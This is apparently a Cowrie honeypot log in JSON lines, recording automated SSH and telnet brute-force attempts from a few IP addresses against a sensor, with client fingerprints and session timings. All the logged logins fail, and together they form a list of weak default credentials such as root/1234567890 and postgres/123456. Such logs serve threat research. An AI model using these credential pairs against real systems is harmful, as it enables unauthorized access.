{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:14.004740Z","src_ip":"192.109.200.78","session":"9dc9b3f01ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:14.010766Z","src_ip":"192.109.200.78","session":"9dc9b3f01ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33204,"dst_ip":"159.203.135.109","dst_port":22,"session":"5113fbcafa68","protocol":"ssh","message":"New connection: 192.109.200.78:33204 (159.203.135.109:22) [session: 5113fbcafa68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:17.148663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:17.153446Z","src_ip":"192.109.200.78","session":"5113fbcafa68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:17.236418Z","src_ip":"192.109.200.78","session":"5113fbcafa68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:17.484746Z","src_ip":"192.109.200.78","session":"5113fbcafa68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35186,"dst_ip":"159.203.135.109","dst_port":22,"session":"38ae18468a03","protocol":"ssh","message":"New connection: 176.65.139.95:35186 (159.203.135.109:22) [session: 38ae18468a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:17.839368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:17.844915Z","src_ip":"176.65.139.95","session":"38ae18468a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:17.951693Z","src_ip":"176.65.139.95","session":"38ae18468a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:18.315898Z","src_ip":"176.65.139.95","session":"38ae18468a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:18.569548Z","src_ip":"192.109.200.78","session":"5113fbcafa68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:19.418154Z","src_ip":"176.65.139.95","session":"38ae18468a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34394,"dst_ip":"159.203.135.109","dst_port":22,"session":"714c5e606e89","protocol":"ssh","message":"New connection: 192.109.200.78:34394 (159.203.135.109:22) [session: 714c5e606e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:21.180251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:21.185472Z","src_ip":"192.109.200.78","session":"714c5e606e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:21.267753Z","src_ip":"192.109.200.78","session":"714c5e606e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:21.514281Z","src_ip":"192.109.200.78","session":"714c5e606e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:22.600489Z","src_ip":"192.109.200.78","session":"714c5e606e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58992,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf10dd7686f","protocol":"ssh","message":"New connection: 176.65.139.95:58992 (159.203.135.109:22) [session: ddf10dd7686f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:23.849420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:23.854396Z","src_ip":"176.65.139.95","session":"ddf10dd7686f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:23.941569Z","src_ip":"176.65.139.95","session":"ddf10dd7686f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:24.207896Z","src_ip":"176.65.139.95","session":"ddf10dd7686f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34398,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f9fdfeeb894","protocol":"ssh","message":"New connection: 192.109.200.78:34398 (159.203.135.109:22) [session: 7f9fdfeeb894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:25.036716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:25.041466Z","src_ip":"192.109.200.78","session":"7f9fdfeeb894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:25.124385Z","src_ip":"192.109.200.78","session":"7f9fdfeeb894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:25.291953Z","src_ip":"176.65.139.95","session":"ddf10dd7686f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:25.376579Z","src_ip":"192.109.200.78","session":"7f9fdfeeb894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:26.461324Z","src_ip":"192.109.200.78","session":"7f9fdfeeb894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.94.70.246","src_port":50732,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a536886a7d","protocol":"telnet","message":"New connection: 119.94.70.246:50732 (159.203.135.109:23) [session: 76a536886a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:28.633041Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41470,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e174a74582f","protocol":"ssh","message":"New connection: 192.109.200.78:41470 (159.203.135.109:22) [session: 0e174a74582f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:29.044839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:29.051826Z","src_ip":"192.109.200.78","session":"0e174a74582f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:29.133621Z","src_ip":"192.109.200.78","session":"0e174a74582f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:29.381842Z","src_ip":"192.109.200.78","session":"0e174a74582f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52352,"dst_ip":"159.203.135.109","dst_port":22,"session":"c33f9d0e3816","protocol":"ssh","message":"New connection: 176.65.139.95:52352 (159.203.135.109:22) [session: c33f9d0e3816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:29.721206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:29.729276Z","src_ip":"176.65.139.95","session":"c33f9d0e3816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:29.840508Z","src_ip":"176.65.139.95","session":"c33f9d0e3816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:30.236446Z","src_ip":"176.65.139.95","session":"c33f9d0e3816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:30.466017Z","src_ip":"192.109.200.78","session":"0e174a74582f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:31.324176Z","src_ip":"176.65.139.95","session":"c33f9d0e3816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.002366065979,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:32.359209Z","src_ip":"212.252.78.49","session":"8624659cb8f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41482,"dst_ip":"159.203.135.109","dst_port":22,"session":"451f79512bce","protocol":"ssh","message":"New connection: 192.109.200.78:41482 (159.203.135.109:22) [session: 451f79512bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:32.943725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:32.949252Z","src_ip":"192.109.200.78","session":"451f79512bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:33.034028Z","src_ip":"192.109.200.78","session":"451f79512bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:33.285952Z","src_ip":"192.109.200.78","session":"451f79512bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:34.372179Z","src_ip":"192.109.200.78","session":"451f79512bce","protocol":"ssh"}
